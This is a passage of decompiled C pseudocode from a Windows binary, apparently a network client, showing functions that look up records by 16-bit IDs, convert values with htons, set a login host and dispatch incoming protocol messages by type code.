          v36 = *(_DWORD *)(a1 + 60) - v11;
          v37 = (signed int)(v36 + ((unsigned __int64)(-1307163959i64 * v36) >> 32)) >> 8;
          v38 = (unsigned int)(v36 + ((unsigned __int64)(-1307163959i64 * v36) >> 32)) >> 31;
          v12 = 0;
          v39 = v37 + v38 == 0;
          v10 = v37 + v38;
          if ( v39 )
          {
LABEL_15:
            v15 = *(_DWORD *)(a1 + 72);
            v40 = *(_DWORD *)(a1 + 76) - v15;
            v41 = (signed int)(v40 + ((unsigned __int64)(-1307163959i64 * v40) >> 32)) >> 8;
            v42 = (unsigned int)(v40 + ((unsigned __int64)(-1307163959i64 * v40) >> 32)) >> 31;
            v16 = 0;
            v43 = v41 + v42 == 0;
            v14 = v41 + v42;
            if ( v43 )
            {
LABEL_19:
              v19 = *(_DWORD *)(a1 + 88);
              v44 = *(_DWORD *)(a1 + 92) - v19;
              v45 = (signed int)(v44 + ((unsigned __int64)(-1307163959i64 * v44) >> 32)) >> 8;
              v46 = (unsigned int)(v44 + ((unsigned __int64)(-1307163959i64 * v44) >> 32)) >> 31;
              v20 = 0;
              v47 = v45 + v46 == 0;
              v18 = v45 + v46;
              if ( v47 )
              {
LABEL_23:
                v22 = *(_DWORD *)(a1 + 544);
                v23 = *(_DWORD *)v22;
                if ( *(_DWORD *)v22 == v22 )
                  return v48;
                while ( *(_WORD *)(v23 + 12) != (_WORD)v48 )
                {
                  if ( !*(_BYTE *)(v23 + 15) )
                  {
                    v24 = *(_DWORD *)(v23 + 8);
                    if ( *(_BYTE *)(v24 + 15) )
                    {
                      for ( i = *(_DWORD *)(v23 + 4); !*(_BYTE *)(i + 15); i = *(_DWORD *)(i + 4) )
                      {
                        if ( v23 != *(_DWORD *)(i + 8) )
                          break;
                        v23 = i;
                      }
                      v23 = i;
                    }
                    else
                    {
                      v23 = *(_DWORD *)(v23 + 8);
                      for ( j = *(_DWORD *)v24; !*(_BYTE *)(j + 15); j = *(_DWORD *)j )
                        v23 = j;
                    }
                  }
                  if ( v23 == v22 )
                    return v48;
                }
              }
              else
              {
                v21 = v19 + 88;
                while ( *(_WORD *)v21 != (_WORD)v48 )
                {
                  ++v20;
                  v21 += 368;
                  if ( v20 >= v18 )
                    goto LABEL_23;
                }
              }
            }
            else
            {
              v17 = v15 + 88;
              while ( *(_WORD *)v17 != (_WORD)v48 )
              {
                ++v16;
                v17 += 368;
                if ( v16 >= v14 )
                  goto LABEL_19;
              }
            }
          }
          else
          {
            v13 = v11 + 88;
            while ( *(_WORD *)v13 != (_WORD)v48 )
            {
              ++v12;
              v13 += 368;
              if ( v12 >= v10 )
                goto LABEL_15;
            }
          }
        }
        else
        {
          v9 = v7 + 88;
          while ( *(_WORD *)v9 != (_WORD)v48 )
          {
            ++v8;
            v9 += 368;
            if ( v8 >= v6 )
              goto LABEL_11;
          }
        }
      }
      else
      {
        v5 = v3 + 88;
        while ( *(_WORD *)v5 != (_WORD)v48 )
        {
          ++v4;
          v5 += 368;
          if ( v4 >= v2 )
            goto LABEL_7;
        }
      }
      v1 = v48;
    }
    ++v1;
    v48 = v1;
  }
  while ( (_WORD)v1 < 0xFFFEu );
  return 0;
}

//----- (00415D00) --------------------------------------------------------
char __userpurge sub_415D00<al>(int a1<edx>, int a2<edi>, int a3)
{
  unsigned int v3; // esi@1
  char result; // al@4
  int v5; // ebx@5
  u_short v6; // ST00_2@6
  u_short v7; // ax@6
  int v8; // [sp+18h] [bp-1Ch]@1
  int v9; // [sp+1Ch] [bp-18h]@1
  int v10; // [sp+20h] [bp-14h]@1
  int v11; // [sp+30h] [bp-4h]@1
  int v12; // [sp+14h] [bp-20h]@1
  signed int v13; // [sp+Ch] [bp-28h]@1

  v3 = 0;
  v8 = 0;
  v9 = 0;
  v10 = 0;
  v11 = 0;
  v12 = a1;
  v13 = 917523;
  if ( sub_412EA0(a3, (int)&v13) == 1 )
  {
    v5 = v8;
    a3 = (unsigned int)(v9 - v8) >> 1;
    if ( (unsigned int)(v9 - v8) >> 1 )
    {
      do
      {
        v6 = *(_WORD *)(v5 + 2 * v3);
        *(_WORD *)a2 = *(_WORD *)(v5 + 2 * v3);
        v7 = htons_0(v6);
        *(_WORD *)a2 = v7;
        if ( v7 )
          break;
        ++v3;
      }
      while ( v3 < a3 );
    }
    if ( v5 )
      operator delete(v5);
    result = 1;
  }
  else
  {
    if ( v8 )
      operator delete(v8);
    result = 0;
  }
  return result;
}

//----- (00415DD0) --------------------------------------------------------
char __thiscall sub_415DD0(int this, int a2, __int16 a3, int a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, int a15, unsigned int a16, int a17, __int16 a18, int a19, int a20, int a21, int a22, int a23, int a24, int a25, int a26, int a27, int a28, int a29, int a30, int a31, int a32, int a33, int a34, int a35, int a36, int a37, int a38, int a39, int a40, int a41, int a42, int a43, int a44, int a45, int a46, int a47, int a48, int a49, int a50, int a51, int a52, int a53, int a54, int a55, int a56, int a57, int a58, int a59, int a60, int a61, int a62, int a63)
{
  int ST04_4_0; // ST04_4@0
  int ST08_4_0; // ST08_4@0
  int ST0C_4_0; // ST0C_4@0
  int ST10_4_0; // ST10_4@0
  int ST1C_4_0; // ST1C_4@0
  int v100; // edx@1
  char v101; // zf@3
  int v102; // ebx@3
  int v103; // ebx@12
  int v105; // eax@3
  int  s; // [sp+7Ch] [bp+0h]@1
  unsigned int v107; // [sp+6Ch] [bp-10h]@1
  int v108; // [sp+18h] [bp-64h]@1
  int v109; // [sp+14h] [bp-68h]@1
  int v110; // [sp+78h] [bp-4h]@1
  signed int v111; // [sp+4Ch] [bp-30h]@1
  int v112; // [sp+48h] [bp-34h]@1
  int v113; // [sp+38h] [bp-44h]@1
  int v114; // [sp+5Ch] [bp-20h]@1
  int v115; // [sp+60h] [bp-1Ch]@1
  int v116; // [sp+64h] [bp-18h]@1
  __int16 v117; // [sp+58h] [bp-24h]@1
  __int16 v118; // [sp+54h] [bp-28h]@1
  __int16 v119; // [sp+56h] [bp-26h]@1
  int *v120; // [sp+10h] [bp-6Ch]@6
  char v121; // [sp+1Ch] [bp-60h]@6
  int v122; // [sp+20h] [bp-5Ch]@6
  int v123; // [sp+24h] [bp-58h]@12
  int v124; // [sp+28h] [bp-54h]@12
  char v125; // [sp+34h] [bp-48h]@12
  char v126; // [sp+33h] [bp-49h]@12

  v107 = (unsigned int)& s ^ dword_426018;
  v108 = a2;
  v109 = this;
  v110 = 0;
  v111 = 15;
  v112 = 0;
  LOBYTE(v113) = 0;
  v114 = 0;
  v115 = 0;
  v116 = 0;
  LOBYTE(v110) = 1;
  sub_401600((int)&v113, -1, 0, (int)&a4);
  v117 = 0;
  v100 = a11;
  v118 = a18;
  v119 = a26;
  if ( a16 < 0x10 )
    v100 = (int)&a11;
  v105 = sub_401F10(0, v100, (int)byte_4212B9);
  v102 = 0;
  v101 = v105 == 0;
  if ( !v105 )
    v101 = (a15 != 0) == 0;
  if ( v101 == 0 )
  {
    v120 = &ST04_4_0;
    LOBYTE(ST04_4_0) = 0;
    sub_401600((int)&ST04_4_0, -1, 0, (int)&a11);
    sub_401F90(ST04_4_0, ST08_4_0, ST0C_4_0, ST10_4_0, 0, 15, ST1C_4_0, 305);
    LOBYTE(v110) = 2;
    sub_4056D0((unsigned int)&v121, (int)&v114);
    LOBYTE(v110) = 1;
    if ( v122 )
      operator delete(v122);
    v102 = 0;
  }
  if ( BYTE2(a26) != (_BYTE)v102 )
  {
    v120 = &ST04_4_0;
    LOBYTE(ST04_4_0) = v102;
    setLoginHost(byte_4212B9, 0, (int)&ST04_4_0);
    sub_401F90(ST04_4_0, ST08_4_0, ST0C_4_0, ST10_4_0, v102, 15, ST1C_4_0, 102);
    LOBYTE(v110) = 3;
    sub_4056D0((unsigned int)&v121, (int)&v114);
    if ( v122 != v102 )
      operator delete(v122);
  }
  v122 = v102;
  v123 = v102;
  v124 = v102;
  LOBYTE(v110) = 4;
  sub_404E50((int)&v122, (int)&v125);
  v126 = sub_413200(a3, v109, v108, 19, (int)&v122) == 1;
  v103 = 0;
  if ( v122 )
    operator delete(v122);
  if ( v114 )
  {
    sub_4061B0(v114, v115);
    operator delete(v114);
    v103 = 0;
  }
  v114 = v103;
  v115 = v103;
  v116 = v103;
  if ( (unsigned int)v111 >= 0x10 )
    operator delete(v113);
  v111 = 15;
  v112 = v103;
  LOBYTE(v113) = v103;
  sub_40C880((int)&a4);
  return v126;
}

//----- (00415FD0) --------------------------------------------------------
char __thiscall sub_415FD0(int this, __int16 a2, int a3)
{
  int v3; // ebx@1
  __int16 v4; // di@1
  int v5; // esi@1
  unsigned int v6; // eax@2
  int v7; // ecx@2
  int v8; // edx@3
  int v10; // edi@12
  int v11; // eax@13
  unsigned int v12; // edi@17
  int (__cdecl *v13)(_DWORD); // esi@22
  int v14; // eax@26
  int v15; // edi@27
  int v16; // esi@28
  int v17; // edx@13
  signed int v18; // eax@22
  int  s; // [sp+8Ch] [bp+0h]@1
  unsigned int v20; // [sp+7Ch] [bp-10h]@1
  int v21; // [sp+38h] [bp-54h]@1
  int v22; // [sp+34h] [bp-58h]@1
  signed int v23; // [sp+5Ch] [bp-30h]@1
  int v24; // [sp+58h] [bp-34h]@1
  int v25; // [sp+48h] [bp-44h]@1
  int v26; // [sp+6Ch] [bp-20h]@1
  int v27; // [sp+70h] [bp-1Ch]@1
  int v28; // [sp+74h] [bp-18h]@1
  int v29; // [sp+88h] [bp-4h]@1
  __int16 v30; // [sp+64h] [bp-28h]@1
  signed int v31; // [sp+66h] [bp-26h]@1
  char v32; // [sp+44h] [bp-48h]@6
  int v33; // [sp+24h] [bp-68h]@10
  int v34; // [sp+28h] [bp-64h]@10
  int v35; // [sp+2Ch] [bp-60h]@10
  __int16 v36; // [sp+20h] [bp-6Ch]@10
  _WORD Src[3]; // [sp+3Ch] [bp-50h]@14
  int v38; // [sp+10h] [bp-7Ch]@22
  int v39; // [sp+14h] [bp-78h]@22
  int v40; // [sp+18h] [bp-74h]@22
  char v41; // [sp+43h] [bp-49h]@22

  v20 = (unsigned int)& s ^ dword_426018;
  v3 = 0;
  v5 = this;
  v21 = this;
  v22 = a3;
  v23 = 15;
  v24 = 0;
  LOBYTE(v25) = 0;
  v26 = 0;
  v27 = 0;
  v28 = 0;
  v4 = a2;
  v29 = 0;
  v30 = a2;
  v31 = 65536;
  if ( a2 )
  {
    v6 = 0;
    v7 = (*(_DWORD *)(this + 28) - *(_DWORD *)(this + 24)) >> 5;
    if ( (unsigned int)v7 <= 0 )
      goto LABEL_39;
    v8 = *(_DWORD *)(v5 + 24);
    while ( *(_WORD *)v8 != a2 )
    {
      ++v6;
      v8 += 32;
      if ( v6 >= v7 )
      {
        sub_404C00((int)&v32);
        return 0;
      }
    }
    if ( (signed int)v6 < 0 )
    {
LABEL_39:
      sub_404C00((int)&v32);
      return 0;
    }
    v3 = 0;
    sub_401600((int)&v25, -1, 0, 32 * v6 + *(_DWORD *)(v5 + 24) + 4);
  }
  v33 = v3;
  v34 = v3;
  v35 = v3;
  v36 = 200;
  LOBYTE(v29) = 2;
  if ( v4 == (_WORD)v3 )
  {
    v12 = 0;
    if ( (*(_DWORD *)(v5 + 28) - *(_DWORD *)(v5 + 24)) >> 5 )
    {
      do
      {
        *(_DWORD *)&Src[0] = htons(*(_WORD *)(*(_DWORD *)(v5 + 24) + v3));
        sub_41A9D0((int)&Src[1], (int)&v33, v34, Src, v22);
        ++v12;
        v3 += 32;
        v5 = v21;
      }
      while ( v12 < (*(_DWORD *)(v21 + 28) - *(_DWORD *)(v21 + 24)) >> 5 );
      goto LABEL_19;
    }
  }
  else
  {
    if ( ((signed int)(*(_DWORD *)(v5 + 12)
                     - *(_DWORD *)(v5 + 8)
                     + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(v5 + 12) - *(_DWORD *)(v5 + 8))) >> 32)) >> 8)
       + ((unsigned int)(*(_DWORD *)(v5 + 12)
                       - *(_DWORD *)(v5 + 8)
                       + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(v5 + 12) - *(_DWORD *)(v5 + 8))) >> 32)) >> 31) )
    {
      v10 = 0;
      do
      {
        v17 = *(_DWORD *)(v5 + 8);
        v11 = v10 + v17;
        if ( *(_WORD *)(v10 + v17 + 56) == a2 )
        {
          *(_DWORD *)&Src[0] = htons(*(_WORD *)(v11 + 88));
          sub_41A9D0((int)&Src[1], (int)&v33, v34, Src, v22);
          v5 = v21;
        }
        ++v3;
        v10 += 368;
      }
      while ( v3 < ((signed int)(*(_DWORD *)(v5 + 12)
                               - *(_DWORD *)(v5 + 8)
                               + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(v5 + 12) - *(_DWORD *)(v5 + 8))) >> 32)) >> 8)
                 + ((unsigned int)(*(_DWORD *)(v5 + 12)
                                 - *(_DWORD *)(v5 + 8)
                                 + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(v5 + 12) - *(_DWORD *)(v5 + 8))) >> 32)) >> 31) );
LABEL_19:
      if ( v33 != v34 )
        sub_4056D0((unsigned int)&v36, (int)&v26);
      v3 = 0;
      goto LABEL_22;
    }
  }
LABEL_22:
  v38 = v3;
  v39 = v3;
  v40 = v3;
  LOBYTE(v29) = 3;
  sub_404E50((int)&v38, (int)&v32);
  v18 = sub_413200(9, v22, v5, 19, (int)&v38);
  v13 = operator delete;
  v41 = v18 == 1;
  if ( v38 )
    operator delete(v38);
  if ( v33 )
    operator delete(v33);
  v14 = v26;
  if ( v26 )
  {
    v15 = v27;
    if ( v26 != v27 )
    {
      v16 = v26 + 4;
      do
      {
        if ( *(_DWORD *)v16 )
          operator delete(*(_DWORD *)v16);
        *(_DWORD *)v16 = 0;
        *(_DWORD *)(v16 + 4) = 0;
        *(_DWORD *)(v16 + 8) = 0;
        v16 += 20;
      }
      while ( v16 - 4 != v15 );
      v14 = v26;
      v13 = operator delete;
    }
    v13(v14);
  }
  v26 = 0;
  v27 = 0;
  v28 = 0;
  if ( (unsigned int)v23 >= 0x10 )
    v13(v25);
  return v41;
}

//----- (00416270) --------------------------------------------------------
signed int __thiscall sub_416270(int this, int a2)
{
  int ST04_4_0; // ST04_4@0
  int ST08_4_0; // ST08_4@0
  int ST0C_4_0; // ST0C_4@0
  int ST10_4_0; // ST10_4@0
  int ST14_4_0; // ST14_4@0
  int ST18_4_0; // ST18_4@0
  int ST1C_4_0; // ST1C_4@0
  int ST20_4_0; // ST20_4@0
  int ST24_4_0; // ST24_4@0
  int ST28_4_0; // ST28_4@0
  int ST2C_4_0; // ST2C_4@0
  int ST30_4_0; // ST30_4@0
  int ST34_4_0; // ST34_4@0
  int ST38_4_0; // ST38_4@0
  int ST3C_4_0; // ST3C_4@0
  int ST40_4_0; // ST40_4@0
  int ST44_4_0; // ST44_4@0
  int ST48_4_0; // ST48_4@0
  int ST4C_4_0; // ST4C_4@0
  int ST50_4_0; // ST50_4@0
  unsigned int ST54_4_0; // ST54_4@0
  unsigned int ST58_4_0; // ST58_4@0
  unsigned __int8 v24; // of@1
  int v25; // eax@1
  int v26; // edx@1
  int v27; // ebx@1
  int v28; // edi@1
  int v29; // esi@1
  int v30; // ST5C_4@1
  __int64 v31; // qax@5
  int v32; // edi@5
  int v34; // ST5C_4@12
  int *v35; // eax@18
  signed int v36; // eax@20
  int v37; // ST44_4@20
  int v38; // ST48_4@20
  int v39; // ST4C_4@20
  int v40; // ST50_4@20
  int v41; // ST54_4@20
  unsigned int v42; // ST58_4@20
  int v43; // esi@22
  int v44; // esi@24
  int v45; // ecx@25
  int v46; // esi@26
  int v47; // esi@28
  int v48; // esi@30
  int v49; // ST58_4@37
  int v50; // ST5C_4@37
  int v51; // esi@39
  int v52; // ST54_4@43
  int v53; // ST58_4@43
  unsigned int v54; // ST58_4@47
  int v55; // ST5C_4@47
  signed int v56; // edi@49
  char v57; // ST5C_1@58
  signed int v58; // eax@64
  int v59; // ecx@64
  int v60; // ST44_4@64
  int v61; // ST48_4@64
  int v62; // ST4C_4@64
  int v63; // ST50_4@64
  int v64; // eax@65
  int v65; // esi@65
  int v66; // esi@70
  unsigned int v67; // edi@73
  signed int v68; // eax@74
  int v69; // ST44_4@74
  int v70; // ST48_4@74
  int v71; // ST4C_4@74
  int v72; // ST50_4@74
  signed int v73; // ST58_4@75
  int v74; // ST5C_4@75
  int v75; // eax@76
  int v76; // ecx@76
  unsigned int v77; // edi@91
  unsigned int v78; // edi@95
  unsigned int v79; // edi@99
  unsigned int v80; // ST54_4@103
  unsigned int v81; // ST58_4@103
  int v82; // ST5C_4@103
  signed int v83; // eax@106
  int v84; // ST44_4@106
  int v85; // ST48_4@106
  int v86; // ST4C_4@106
  int v87; // ST50_4@106
  int v88; // ST54_4@106
  int v89; // ST58_4@106
  int v90; // ST5C_4@106
  int v91; // eax@108
  unsigned int v92; // edi@108
  int v93; // esi@108
  int v94; // ecx@115
  signed int v95; // eax@117
  int v96; // ecx@119
  __time64_t v97; // qax@1
  unsigned __int8 v98; // cf@1
  int v99; // ST5C_4@20
  unsigned int v100; // ST5C_4@23
  unsigned int v101; // ST5C_4@32
  unsigned int v102; // ST5C_4@33
  int (__stdcall *v103)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // edx@41
  unsigned int v104; // ST5C_4@44
  int (__stdcall *v105)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // edx@44
  int v106; // edx@68
  unsigned int v107; // ST5C_4@69
  int v108; // ST54_4@69
  int v109; // ST5C_4@96
  unsigned int v110; // ST5C_4@100
  unsigned int v111; // ST24_4@107
  int (__thiscall *v112)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // edx@107
  signed int v113; // esi@108
  int v114; // edi@111
  unsigned int v115; // ST24_4@111
  int (__thiscall *v116)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // edx@111
  int v117; // ST5C_4@111
  int  s; // [sp+100h] [bp+0h]@1
  unsigned int v119; // [sp+ECh] [bp-14h]@1
  int v120; // [sp+30h] [bp-D0h]@1
  int v121; // [sp+10h] [bp-F0h]@1
  int v122; // [sp+20h] [bp-E0h]@5
  int v123; // [sp+24h] [bp-DCh]@5
  int v124; // [sp+28h] [bp-D8h]@5
  int v125; // [sp+FCh] [bp-4h]@5
  _DWORD v126[2]; // [sp+14h] [bp-ECh]@5
  int v127; // [sp+1Ch] [bp-E4h]@5
  int v128; // [sp+3Ch] [bp-C4h]@12
  unsigned int v129; // [sp+38h] [bp-C8h]@15
  unsigned int v130; // [sp+50h] [bp-B0h]@18
  int *v131; // [sp+34h] [bp-CCh]@20
  int v132; // [sp+58h] [bp-A8h]@22
  signed int v133; // [sp+C8h] [bp-38h]@37
  int v134; // [sp+C4h] [bp-3Ch]@37
  int v135; // [sp+B4h] [bp-4Ch]@37
  signed int v136; // [sp+E4h] [bp-1Ch]@37
  int v137; // [sp+E0h] [bp-20h]@37
  char v138; // [sp+D0h] [bp-30h]@37
  signed int v139; // [sp+ACh] [bp-54h]@47
  int v140; // [sp+A8h] [bp-58h]@47
  int v141; // [sp+98h] [bp-68h]@47

  v119 = (unsigned int)& s ^ dword_426018;
  v27 = this;
  v29 = *(_DWORD *)(this + 556);
  v28 = 0;
  v120 = this;
  *(_DWORD *)(this + 556) = a2;
  v97 = time64(0);
  v98 = (_DWORD)v97 < *(_DWORD *)(v27 + 568);
  v25 = (_DWORD)v97 - *(_DWORD *)(v27 + 568);
  v24 = __SETO__(*((_DWORD *)&v97 + 1), v98 + *(_DWORD *)(v27 + 572));
  v26 = *((_DWORD *)&v97 + 1) - (v98 + *(_DWORD *)(v27 + 572));
  v121 = v26;
  if ( v26 >= 0 )
  {
    if ( !((unsigned __int8)(v26 < 0 ^ v24) | v26 == 0) || (unsigned int)v25 > 0x3C )
    {
      sub_413400(v27);
      v28 = 0;
    }
  }
  v122 = v28;
  v123 = v28;
  v124 = v28;
  v125 = v28;
  v126[0] = 0;
  v127 = v28;
  *(_DWORD *)&v31 = sub_412EA0(v27, (int)v126);
  v32 = v31;
  *(_DWORD *)(v27 + 556) = v29;
  if ( (_DWORD)v31 != 1 )
  {
    if ( v122 )
      operator delete(v122);
    return v32;
  }
  if ( (_WORD)v126 == 21 )
    goto LABEL_115;
  if ( (_WORD)v126 != 4 )
  {
    if ( (_WORD)v126 == 19 )
    {
      if ( HIWORD(v126[0]) == 25 )
      {
        v133 = 15;
        v134 = 0;
        LOBYTE(v135) = 0;
        v136 = 15;
        v137 = 0;
        v138 = 0;
        LOBYTE(v125) = 4;
        if ( sub_413E80((int)&v122, (int)&v135, (int)&v138) )
        {
          v131 = &ST44_4_0;
          sub_401900((int)&v138, (int)&ST44_4_0);
          LOBYTE(v125) = 5;
          v129 = (unsigned int)&ST28_4_0;
          sub_401900((int)&v135, (int)&ST28_4_0);
          v103 = *(int (__stdcall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v120 + 24);
          LOBYTE(v125) = 4;
          v103(
            ST28_4_0,
            ST2C_4_0,
            ST30_4_0,
            ST34_4_0,
            ST38_4_0,
            ST3C_4_0,
            ST40_4_0,
            ST44_4_0,
            ST48_4_0,
            ST4C_4_0,
            ST50_4_0,
            ST54_4_0,
            v49,
            v50);
          sub_401970((int)&v138);
          LOBYTE(v125) = 0;
          sub_401970((int)&v135);
          v27 = v120;
          goto LABEL_115;
        }
      }
      else
      {
        if ( HIWORD(v126[0]) != 27 )
        {
          if ( HIWORD(v126[0]) == 8 || HIWORD(v126[0]) == 9 )
          {
            if ( !sub_4145B0(v27, (int)&v122) )
            {
              sub_41B030((int)v126);
              return -2;
            }
          }
          else
          {
            if ( HIWORD(v126[0]) != 10 )
            {
              if ( HIWORD(v126[0]) != 28 )
                goto LABEL_115;
              v136 = 15;
              v137 = 0;
              v138 = 0;
              LOBYTE(v125) = 11;
              if ( v122 != v123 )
              {
                v77 = *(_BYTE *)v122;
                if ( v123 - v122 >= v77 + 1 )
                {
                  setLoginHost((const void *)(v122 + 1), v77, (int)&v138);
                  v131 = &ST44_4_0;
                  sub_401900((int)&v138, (int)&ST44_4_0);
                  (*(int (__thiscall **)(int, int, int, int, int, unsigned int, unsigned int, int))(*(_DWORD *)v27 + 40))(
                    v27,
                    ST44_4_0,
                    ST48_4_0,
                    ST4C_4_0,
                    ST50_4_0,
                    ST54_4_0,
                    ST58_4_0,
                    v30);
LABEL_113:
                  v66 = (int)&v138;
                  goto LABEL_114;
                }
              }
              goto LABEL_105;
            }
            if ( !sub_414A20(v27, (int)&v122) )
              goto LABEL_14;
          }
          (*(int (__thiscall **)(int))(*(_DWORD *)v27 + 36))(v27);
          goto LABEL_115;
        }
        v133 = 15;
        v134 = 0;
        LOBYTE(v135) = 0;
        v136 = 15;
        v137 = 0;
        v138 = 0;
        LOBYTE(v125) = 7;
        if ( sub_413F00((int)&v122, (int)&v135, (int)&v138, (int)&v129) )
        {
          v104 = v129;
          v131 = &ST40_4_0;
          sub_401900((int)&v138, (int)&ST40_4_0);
          LOBYTE(v125) = 8;
          v129 = (unsigned int)&ST24_4_0;
          sub_401900((int)&v135, (int)&ST24_4_0);
          v105 = *(int (__stdcall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v120 + 28);
          LOBYTE(v125) = 7;
          v105(
            ST24_4_0,
            ST28_4_0,
            ST2C_4_0,
            ST30_4_0,
            ST34_4_0,
            ST38_4_0,
            ST3C_4_0,
            ST40_4_0,
            ST44_4_0,
            ST48_4_0,
            ST4C_4_0,
            ST50_4_0,
            v52,
            v53,
            v104);
          sub_401970((int)&v138);
          LOBYTE(v125) = 0;
          sub_401970((int)&v135);
          v27 = v120;
          goto LABEL_115;
        }
      }
      sub_401970((int)&v138);
      goto LABEL_39;
    }
    if ( (_WORD)v126 != 3 )
      goto LABEL_115;
    if ( HIWORD(v126[0]) == 11 )
    {
      v139 = 15;
      v140 = 0;
      LOBYTE(v141) = 0;
      LOBYTE(v125) = 9;
      if ( !sub_413F90((int)&v129, (int)&v141, v27, (int)&v122) )
      {
        v51 = (int)&v141;
        goto LABEL_40;
      }
      v56 = (unsigned __int16)v129;
      v120 = v129 & 0xFFFF0000;
      LOBYTE(v129) = 0;
      if ( v56 & 0x100 )
      {
        LOBYTE(v129) = 1;
        v56 &= 0xFFFFF0FFu;
      }
      switch ( v56 )
      {
        case 5:
          v56 = 4;
          break;
        case 0x11:
          v56 = 16;
          break;
        case 0x13:
          v56 = 2;
          break;
      }
      switch ( v56 )
      {
        case 1:
          v57 = -24;
          goto LABEL_63;
        case 16:
          v57 = -23;
          goto LABEL_63;
        case 4:
          v57 = -22;
          goto LABEL_63;
        case 2:
          v57 = -21;
          goto LABEL_63;
        case 32:
          v57 = -20;
LABEL_63:
          v131 = &ST40_4_0;
          sub_401900((int)&v141, (int)&ST40_4_0);
          sub_415420(v27, ST40_4_0, ST44_4_0, ST48_4_0, ST4C_4_0, ST50_4_0, ST54_4_0, v54, v55);
          break;
        default:
          break;
      }
      v131 = &ST44_4_0;
      sub_401900((int)&v141, (int)&ST44_4_0);
      v58 = sub_40D3E0(v27, ST44_4_0, ST48_4_0, ST4C_4_0, ST50_4_0, ST54_4_0, v54, v55);
      v59 = v120;
      if ( v58 >= 0 )
      {
        v64 = 368 * v58;
        v65 = v64 + *(_DWORD *)(v27 + 8);
        if ( *(_DWORD *)(v65 + 148) == v120 && *(_DWORD *)(v65 + 144) == v56 && *(_BYTE *)(v65 + 152) == (_BYTE)v129 )
          goto LABEL_70;
        *(_DWORD *)(v65 + 148) = v120;
        *(_DWORD *)(*(_DWORD *)(v27 + 8) + v64 + 144) = v56;
        v106 = *(_DWORD *)(v27 + 8);
        v120 = v59;
        *(_BYTE *)(v106 + v64 + 152) = v129;
        v59 = v120;
      }
      v107 = v129;
      v108 = v59;
      v131 = &ST38_4_0;
      sub_401900((int)&v141, (int)&ST38_4_0);
      (*(int (__thiscall **)(int, int, int, int, int, int, int, int, int, signed int, unsigned int))(*(_DWORD *)v27 + 32))(
        v27,
        ST38_4_0,
        ST3C_4_0,
        ST40_4_0,
        v60,
        v61,
        v62,
        v63,
        v108,
        v56,
        v107);
LABEL_70:
      v66 = (int)&v141;
LABEL_114:
      LOBYTE(v125) = 0;
      sub_401970(v66);
      goto LABEL_115;
    }
    if ( HIWORD(v126[0]) != 12 )
      goto LABEL_115;
    v133 = 15;
    v134 = 0;
    LOBYTE(v135) = 0;
    LOBYTE(v125) = 10;
    if ( v122 == v123 || (v67 = *(_BYTE *)v122, v123 - v122 < v67 + 1) )
    {
LABEL_39:
      v51 = (int)&v135;
LABEL_40:
      sub_401970(v51);
      sub_41B030((int)v126);
      return -2;
    }
    setLoginHost((const void *)(v122 + 1), v67, (int)&v135);
    v131 = &ST44_4_0;
    sub_401900((int)&v135, (int)&ST44_4_0);
    v68 = sub_40D3E0(v27, ST44_4_0, ST48_4_0, ST4C_4_0, ST50_4_0, ST54_4_0, ST58_4_0, v30);
    if ( v68 >= 0 )
    {
      v75 = 368 * v68;
      v76 = v75 + *(_DWORD *)(v27 + 8);
      if ( !*(_DWORD *)(v76 + 148) && *(_DWORD *)(v76 + 144) == 4096 && !*(_BYTE *)(v76 + 152) )
        goto LABEL_81;
      *(_DWORD *)(v76 + 148) = 0;
      *(_DWORD *)(*(_DWORD *)(v27 + 8) + v75 + 144) = 4096;
      *(_BYTE *)(*(_DWORD *)(v27 + 8) + v75 + 152) = 0;
      *(_BYTE *)(*(_DWORD *)(v27 + 8) + v75 + 217) = 0;
      v74 = 0;
      *(_BYTE *)(*(_DWORD *)(v27 + 8) + v75 + 218) = 0;
      v73 = 4096;
    }
    else
    {
      v74 = 0;
      v73 = 4096;
    }
    v131 = &ST38_4_0;
    sub_401900((int)&v135, (int)&ST38_4_0);
    (*(int (__thiscall **)(int, int, int, int, int, int, int, int, _DWORD, signed int, int))(*(_DWORD *)v27 + 32))(
      v27,
      ST38_4_0,
      ST3C_4_0,
      ST40_4_0,
      v69,
      v70,
      v71,
      v72,
      0,
      v73,
      v74);
LABEL_81:
    v66 = (int)&v135;
    goto LABEL_114;
  }
  if ( HIWORD(v126[0]) == 7 )
  {
    *(_DWORD *)&v31 = &v128;
    sub_406C80(v31);
    LOBYTE(v125) = 1;
    if ( !sub_413820((int)&v128, (int)&v122, v27) )
    {
LABEL_13:
      sub_406E80((int)&v128);
LABEL_14:
      sub_41B030((int)v126);
      return -2;
    }
    v129 = (unsigned int)&ST08_4_0;
    sub_4086C0((int)&v128, (int)&ST08_4_0);
    (*(int (__thiscall **)(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, unsigned int, unsigned int, int))(*(_DWORD *)v27 + 20))(
      v27,
      ST08_4_0,
      ST0C_4_0,
      ST10_4_0,
      ST14_4_0,
      ST18_4_0,
      ST1C_4_0,
